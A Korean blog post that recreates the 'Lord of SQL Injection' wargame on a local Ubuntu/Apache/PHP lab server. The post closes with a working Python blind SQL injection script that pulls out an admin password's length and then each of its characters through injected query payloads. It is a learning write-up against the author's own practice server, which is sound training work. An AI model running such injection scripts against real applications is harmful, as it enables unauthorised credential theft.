agencies

[프로젝트] LOS v0.1 본문

Ⅲ. 정보보안

[프로젝트] LOS v0.1

agencies 2024. 3. 9. 19:39

 

 

rubiya 멘토님께서 화이팅이라고 말씀하셔서...

프로젝트로 LOS 따라하기를 진행하고자 합니다.

 

홈페이지 프로젝트는 ... 대ㄱ

 

1. 가상머신 우분투 구축

2. apache / php / sql 설치 및 연동

3. LOS 문제풀이 및 동일한 내용으로 구축하기

 


https://los.rubiya.kr/gate.php

 

https://los.rubiya.kr/gate.php

 

los.rubiya.kr

 

위 사이트는 진품 LOS 사이트입니다.


 

위 사이트는 가품 LOS 사이트입니다.

SQL-4 를 확인해보겠습니다.

 

 

문제 페이지 이미지

 

 

실제 서버 이미지

 


 

이런 .. 테이블을 분리하지 않았더니 기존에 있던 admin과 섞이게 되었습니다 ㅠㅠ

 

 

 

 

user 이름을 수정해야겠습니다. ( newadmin으로 수정했습니다.)

 

 

 

 

import requests as r

url = "http://192.168.0.24/4.php?pass='or user='newadmin' and "

#길이 검사
for i in range(10,20):
    p = "length(pass)={0}%23".format(i)
    res = r.get(url+p)
    
    if "HELLO ADMIN" in res.text:
        print("The password length : {0}".format(i))
        break

flag = ""
#패스워드 검사
for j in range(1,i+1):
    for k in range(ord('0'), ord('z')):
        p = "user='newadmin' and ascii(substr(pass,{0},1))={1}%23".format(j,k)
        res = r.get(url+p)

        if "HELLO ADMIN" in res.text:
            flag+=chr(k)
            print("The password is :",flag)
            break